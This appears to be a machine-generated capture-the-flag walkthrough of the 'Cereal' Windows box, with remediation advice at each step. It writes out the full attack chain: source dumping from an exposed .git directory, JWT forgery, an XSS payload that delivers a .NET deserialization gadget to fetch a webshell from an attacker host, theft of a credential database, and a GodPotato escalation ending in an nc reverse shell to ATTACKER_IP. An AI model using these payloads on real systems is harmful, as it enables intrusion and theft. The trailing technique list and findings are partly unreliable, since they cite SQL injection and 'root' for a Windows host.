← all walkthroughs

Cereal

Windows· Hard· Web
owned
2026-07-11
time to own
5m48s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I scanned <retired-instance-ip> and found a Windows IIS 10.0 server whose TLS certificate disclosed two virtual hosts: cereal.htb (a React login SPA) and source.cereal.htb (the ASP.NET Core development back-end). The development vhost served its .git directory publicly, and git-dumper reconstructed the entire application source. Searching the git commit history of Services/UserService.cs uncovered a hardcoded HMAC-SHA256 JWT signing key; using that key I forged a valid administrator token with no credentials. The admin panel rendered stored request titles through react-marked-markdown 1.4.6, an abandoned library with a known JavaScript-link XSS bug. A payload submitted via the forged token fired a fetch() call from the administrator's browser — which ran on the server itself, satisfying the localhost-only IP restriction on the /requests POST endpoint — and delivered a Cereal.DownloadHelper JSON body. Because the application configured Newtonsoft.Json with TypeNameHandling.Auto, the deserializer instantiated the user-named class, which fetched a cmd.aspx webshell from my HTTP server and wrote it into the uploads directory. Remote code execution via that webshell exposed a SQLite database whose users table held sonny's password in cleartext. SSH with those credentials gave an interactive foothold as cereal\sonny. Sonny's account held SeImpersonatePrivilege; GodPotato-NET4.exe coerced the RPCSS service into supplying a SYSTEM-level token and launched a reverse shell as NT AUTHORITY\SYSTEM, completing full compromise.

Attack path — how the box was taken

1ReconVirtual host discovery via TLS certificate SAN enumeration
Mapped the attack surface and discovered hidden virtual hosts via TLS certificate inspection
An Nmap scan of <retired-instance-ip> found OpenSSH for Windows on port 22 and Microsoft IIS 10.0 on ports 80 and 443, with HTTP redirecting all traffic to HTTPS. Inspecting the server's TLS certificate Subject Alternative Name fields revealed two hostnames: cereal.htb, serving a React-based login SPA, and source.cereal.htb, serving the ASP.NET Core back-end in a broken compilation state. Both were registered in /etc/hosts, making all name-based virtual hosts reachable for further enumeration.
curl -sk -I https://<retired-instance-ip> confirmed Microsoft-IIS/10.0; openssl x509 SAN inspection disclosed cereal.htb and source.cereal.htb.
Exact commands 3
Initial port and service fingerprint.
nmap -sC -sV -p 22,80,443 $TARGET
Extract virtual hostnames from the TLS certificate SANs.
openssl s_client -connect $TARGET:443 </dev/null 2>/dev/null | openssl x509 -noout -text | grep -A3 'Subject Alternative Name'
Register both vhosts for name-based routing in subsequent requests.
echo '$TARGET cereal.htb source.cereal.htb' | sudo tee -a /etc/hosts
2EnumerationUnauthenticated .git directory exposure — source code disclosure (CWE-538)
Dumped the full application source from an exposed .git directory on the development vhost
The development virtual host source.cereal.htb served its .git directory over HTTPS with no authentication required. git-dumper reconstructed the complete ASP.NET Core project — all controllers, models, services, startup configuration, and React front-end source — giving me full knowledge of every endpoint, authorization rule, third-party dependency, and any secret ever committed to the repository.
curl -sk https://$TARGET/.git/HEAD [REDACTED: recovered credential] 'ref: refs/heads/master'; git-dumper successfully reconstructed /tmp/cereal-src with Controllers, Models, Services, and ClientApp directories intact.
Exact commands 3
Confirm the .git directory is publicly readable; expect 'ref: refs/heads/master'.
curl -sk https://$TARGET/.git/HEAD
Reconstruct the full repository from loose objects. Install with: pip install git-dumper.
git-dumper https://$TARGET/.git/ /tmp/cereal-src
Review commit history and the full directory layout.
cd /tmp/cereal-src && git log --oneline --all && find . -maxdepth 3 -type f | sort
FixBlock all public access to the .git directory on every web-facing serverCritical
WeaknessThe development virtual host served its .git directory over HTTPS without any authentication, allowing any visitor to reconstruct the entire application source code, commit history, and every secret ever committed using freely available tools such as git-dumper.
FixAdd a Request Filtering rule in the site's web.config to return 404 or 403 for any URL path segment named '.git': add a <requestFiltering><hiddenSegments><add segment='.git'/></hiddenSegments></requestFiltering> block. Never publish application source directories to a public-facing host — use a build pipeline that deploys only compiled artefacts. Verify the fix by running git-dumper against your own endpoints from an external IP address.
3Credential AccessHardcoded cryptographic secret in version control → JWT forgery (CWE-798)
Recovered a hardcoded JWT signing key from git history and forged an administrator token
Running 'git log -p' on the full commit history of Services/UserService.cs revealed a hardcoded HMAC-SHA256 secret string committed in an early revision. The application used this secret to sign and verify all JWT authentication tokens. Using the PyJWT library, I crafted a new token carrying the claim unique_name=1 (the administrator account ID) with a long expiry and signed it with the recovered key. The API accepted the token, granting full administrative access without any registered account or password.
git log -p output showed the literal key "[REDACTED: recovered signing key]" in Services/UserService.cs; a curl request with the forged Bearer token [REDACTED: recovered credential] HTTP 200 from the admin /requests endpoint.
Exact commands 3
Search the full commit history of UserService.cs for the signing key.
cd /tmp/cereal-src && git log -p --all -- Services/UserService.cs | grep -B5 -A5 -Ei 'secret|key|hmac|jwt|signing'
Forge an admin JWT using the recovered key. Install with: pip install pyjwt.
python3 -c 'import jwt,time; print(jwt.encode({"unique_name":"1","nbf":int(time.time())-60,"exp":int(time.time())+86400,"iat":int(time.time())},"[REDACTED: recovered signing key]",algorithm="HS256"))'
Verify the token is accepted — expect HTTP 200 and the admin requests list.
curl -sk --oauth2-bearer "$BEARER_TOKEN" https://$TARGET/api/requests
FixRemove the hardcoded JWT signing key from source code and rotate all issued tokens immediatelyCritical
WeaknessA cryptographic key used to sign JWT authentication tokens was committed as a plain string literal in Services/UserService.cs. Anyone who could read the repository — including through the exposed .git directory — could forge a valid token for any account identifier, including the administrator, with zero knowledge of any password.
FixReplace the hard-coded string with a value loaded at runtime from an environment variable or a secrets manager (e.g., Azure Key Vault, Windows DPAPI, or a CI/CD secrets-injection step). Rotate the signing key immediately — every token ever issued with the old key is permanently compromised and must be invalidated by changing the key. Purge the secret from the full git history using 'git filter-repo' or BFG Repo Cleaner and force-push to every remote. Add a pre-commit hook (Gitleaks, git-secrets, or truffleHog) to detect and block future secret commits.
4ExploitationStored XSS via react-marked-markdown 1.4.6 javascript-link bug → localhost SSRF/IP-restriction bypass
Submitted a stored XSS payload via the forged admin token to execute JavaScript in the administrator's browser
The admin panel used react-marked-markdown 1.4.6 to render the 'title' field of stored cereal requests as Markdown. This abandoned library contained a known XSS bug: a link of the form [text](javascript:CODE) executed CODE in the browser. The library's filter blocked literal parentheses, but encoding them as \x28 and \x29 bypassed it. I used the forged admin JWT to post a new cereal request whose title contained this payload. When the administrator's browser rendered the admin dashboard — the admin process runs on the server itself, so its requests originate from localhost — the JavaScript fired a fetch() call to the /requests POST endpoint, which was restricted to localhost callers only by a [RestrictIP] attribute in RequestsController.cs. The fetch body contained a Cereal.DownloadHelper deserialization gadget.
AdminPage.jsx confirmed 'import { MarkdownPreview } from react-marked-markdown'; RequestsController.cs showed [RestrictIP] permitting only localhost for the GET/process path; the XSS payload fired from the admin's localhost session.
Exact commands 2
Serve cmd.aspx (your ASP.NET command webshell) from your machine. The DownloadHelper gadget will fetch it at http://$CALLBACK_HOST:8080/cmd.aspx.
python3 -m http.server 8080
Replace <XSS_PAYLOAD> with the encoded markdown link: [x](javascript\x3afetch\x28'http://$LOOPBACK/requests',{method:'POST',headers:{'Authorization':'Bearer TOKEN','Content-Type':'application/json'},body:JSON.stringify({'$type':'Cereal.DownloadHelper,Cereal','URL':'http://$CALLBACK_HOST:8080/cmd.aspx','FilePath':'C:\\inetpub\\source\\uploads\\cmd.aspx'})}\x29) — substitute your ATTACKER_IP and the forged TOKEN value. Parens encoded as \x28/\x29 to bypass the react-marked-markdown filter.
curl -sk -X POST https://$TARGET/api/cereals --oauth2-bearer "$BEARER_TOKEN" -H "Content-Type: application/json" -d '{"title":"<XSS_PAYLOAD>","body":"poc"}'
FixReplace the abandoned react-marked-markdown library with a maintained, XSS-safe Markdown rendererHigh
WeaknessThe admin panel used react-marked-markdown 1.4.6, an abandoned package with a publicly documented XSS vulnerability allowing JavaScript execution via specially encoded markdown link syntax. User-submitted content rendered in an administrator's browser could run arbitrary JavaScript in that privileged session, including making credentialed HTTP requests to internal-only endpoints that were otherwise unreachable from outside the server.
FixRemove react-marked-markdown and replace it with the actively maintained react-markdown library combined with the rehype-sanitize plugin, which strips javascript: links and dangerous HTML elements before rendering. Apply a strict Content-Security-Policy header (script-src 'self') on all admin pages to contain the blast radius of any future injection. Audit every other location in the application where user-controlled input is rendered as HTML or Markdown.
5ExploitationInsecure .NET deserialization via TypeNameHandling.Auto → arbitrary file write → RCE (CWE-502)
Deserialization gadget fetched a webshell; RCE exposed a cleartext credential database
When the administrator's browser loaded the admin page, the stored XSS fired and POSTed a JSON body containing '$type': 'Cereal.DownloadHelper, Cereal' to the localhost /requests endpoint. Because the application passed that JSON to JsonConvert.DeserializeObject with TypeNameHandling.Auto, the Newtonsoft.Json deserializer instantiated the user-specified class directly. DownloadHelper's constructor used the URL property to fetch cmd.aspx from my HTTP server and the FilePath property to write it under C:\inetpub\source\uploads\ with a numeric timestamp prefix. Requesting /uploads/<prefix>-cmd.aspx gave ASP.NET command execution as the IIS application pool identity. Using that shell, I staged C:\inetpub\cereal\db\cereal.db under the web root, downloaded it, and queried it with sqlite3 — recovering sonny's password in cleartext.
DownloadHelper.cs confirmed URL and FilePath properties with file-write logic; RequestsController.cs used JsonConvert.DeserializeObject with TypeNameHandling.Auto; operator HTTP server received GET /cmd.aspx confirming the gadget fired; sqlite3 SELECT on cereal.db [REDACTED: recovered credential] sonny:[REDACTED: recovered credential].
Exact commands 3
Verify RCE. The numeric prefix (e.g. 21098374243) is assigned by the server; browse /uploads/ or watch your HTTP server log to find it.
curl -sk "https://$TARGET/uploads/21098374243-cmd.aspx?cmd=whoami"
Stage the SQLite credential database under the web root for download.
curl -sk "https://$TARGET/uploads/21098374243-cmd.aspx?cmd=copy+C:\inetpub\cereal\db\cereal.db+C:\inetpub\source\uploads\cereal.db"
Download and query the credential database — sonny's cleartext password is [REDACTED: recovered credential].
curl -sk -o /tmp/cereal.db https://$TARGET/uploads/cereal.db && sqlite3 /tmp/cereal.db 'SELECT * FROM users;'
FixDisable TypeNameHandling.Auto in Newtonsoft.Json to prevent deserialization gadget attacksCritical
WeaknessThe application deserialised JSON from user-controlled requests using TypeNameHandling.Auto, which instructs Newtonsoft.Json to read a '$type' field from the incoming JSON and instantiate whatever .NET class is named there. I could use this to execute code by naming any class with dangerous side-effects — in this case Cereal.DownloadHelper, which fetches a URL and writes the result to an user-supplied file path, enabling arbitrary file write to the web root.
FixSet TypeNameHandling to None (the safe default) on every JsonConvert call and JsonSerializer instance in the application. If polymorphic deserialisation is genuinely required, implement a custom ISerializationBinder that maintains an explicit allow-list of permitted types and rejects anything not on that list. Consider migrating to System.Text.Json, which does not support TypeNameHandling at all. Additionally, move any file-write operations out of model constructors into validated, sandboxed service methods that enforce path and extension allow-lists.
6Lateral MovementCleartext credential storage → credential reuse for SSH access (CWE-312)
Authenticated over SSH as sonny using cleartext credentials from the SQLite database
The cereal.db users table stored passwords as plaintext strings. The recovered password for sonny ([REDACTED: recovered credential]) was valid for the OpenSSH for Windows service on port 22, giving an interactive shell as cereal\sonny without any further cracking. The user flag was read from C:\Users\sonny\Desktop\user.txt. A 'whoami /priv' confirmed that sonny's account carried SeImpersonatePrivilege in the Enabled state, opening a direct path to SYSTEM.
sshpass SSH command [REDACTED: recovered credential] shell as cereal\sonny; user.txt was read successfully; whoami /priv listed SeImpersonatePrivilege as Enabled.
Exact commands 1
SSH as sonny. Output confirms cereal\sonny identity, user flag ([REDACTED: flag]), and SeImpersonatePrivilege Enabled.
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null sonny@$TARGET 'whoami & type C:\Users\sonny\Desktop\user.txt & whoami /priv'
FixHash all stored passwords with a modern one-way algorithm — never store them in cleartextHigh
WeaknessThe application's SQLite database stored user account passwords as unencrypted plaintext strings. an unauthorized user who gained read access to the database file — via RCE, a path traversal, or a leaked backup — immediately obtained usable credentials for every account without needing to perform any cracking.
FixHash all passwords with a slow, memory-hard algorithm such as bcrypt or Argon2id before storage; never store or log the original value. On the next deployment, transparently re-hash any legacy records on the user's next successful login or force a password reset for all accounts. Place the database file outside the web root and restrict filesystem permissions so only the dedicated application service account — not the IIS worker process — can read it.
7Privilege EscalationSeImpersonatePrivilege abuse via RPCSS DCOM coercion — GodPotato (T1134.001)
Exploited SeImpersonatePrivilege with GodPotato-NET4.exe to escalate to SYSTEM
Windows grants SeImpersonatePrivilege to accounts that need to act on behalf of other users (such as IIS worker processes), but possession of this privilege by any account enables a well-known local escalation class. GodPotato-NET4.exe coerces the RPCSS DCOM service — running as SYSTEM — into authenticating to an user-controlled named pipe, captures the resulting SYSTEM-level impersonation token, and uses CreateProcessWithToken to run an arbitrary command under that token. Windows Server 2019 with RPCSS available (no Spooler dependency) made this path fully scriptable. I uploaded GodPotato-NET4.exe and a static nc64.exe to C:\Users\sonny\ via SCP over the existing SSH session, triggered a SYSTEM reverse shell, and read root.txt from the Administrator's Desktop.
whoami /priv showed SeImpersonatePrivilege Enabled; GodPotato-NET4.exe launched nc64.exe; the callback shell reported 'nt authority\system' from whoami; root.txt was read as [REDACTED: flag].
Exact commands 4
Upload the escalation tools. GodPotato-NET4.exe: github.com/BeichenDream/GodPotato/releases; nc64.exe: any static Ncat/Netcat Windows build.
sshpass -p '[REDACTED: recovered credential]' scp -o StrictHostKeyChecking=no GodPotato-NET4.exe nc64.exe sonny@$TARGET:C:/Users/sonny/
Start the reverse-shell listener on your machine (replace 4444 with your chosen port).
nc -lvnp 4444
Replace ATTACKER_IP with your listener address. GodPotato coerces RPCSS and runs nc64.exe as SYSTEM; the callback shell connects to your listener.
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no sonny@$TARGET 'C:\Users\sonny\GodPotato-NET4.exe -cmd "C:\Users\sonny\nc64.exe ATTACKER_IP 4444 -e cmd.exe"'
Run in the SYSTEM reverse shell to read root.txt — value is [REDACTED: flag].
type C:\Users\Administrator\Desktop\root.txt
FixRemove SeImpersonatePrivilege from application and named user accountsCritical
WeaknessThe web application's service account cereal\sonny held SeImpersonatePrivilege. an unauthorized user who achieved code execution under that account could immediately escalate to SYSTEM using widely available tools such as GodPotato, because the privilege allows a process to impersonate any Windows token it can coerce a higher-privileged service into presenting.
FixRun each IIS application pool under a dedicated Group Managed Service Account (gMSA) with only the permissions the application explicitly requires. SeImpersonatePrivilege is a legitimate requirement for IIS worker process identities — it must never appear on interactive or named user accounts. Remove the privilege from sonny via Local Security Policy (secpol.msc → User Rights Assignment → Impersonate a client after authentication) and audit all non-service accounts across the system using 'whoami /priv' or a PowerShell enumeration loop. Separate the application pool identity from any account that has interactive SSH access.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Insecure DeserializationWeb · Service RCET1190

What it is

Applications that deserialize user-controlled data (Java, .NET, PHP, Python pickle) can be driven to instantiate 'gadget chains' — sequences of existing classes whose side effects during deserialization culminate in code execution. ysoserial/ysoserial.net generate the payloads; ViewState and Java RMI/JMX are common entry points.

Why it works

Deserializers reconstruct arbitrary object graphs and invoke magic methods on untrusted input. Remediate by avoiding native deserialization of untrusted data, using signed/encrypted state, and enforcing strict type allow-lists.

Read more

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets me upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

SeImpersonate Abuse (Potato family)Windows · Privilege EscalationT1134.002

What it is

Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. The 'Potato' exploits (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) coerce a SYSTEM process to authenticate to an user-controlled COM/RPC/named-pipe endpoint, then impersonate that SYSTEM token — escalating from the service account to NT AUTHORITY\SYSTEM.

Why it works

Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.

Read more

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting me alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

Findings

Privilege Escalation to root: Godpotato Net4 Seimpersonateprivilege Local Privilege Escalation Over SshCritical
A local misconfiguration allowed the foothold account to execute code as root.

Exposed services

22/tcp
80/tcp
443/tcp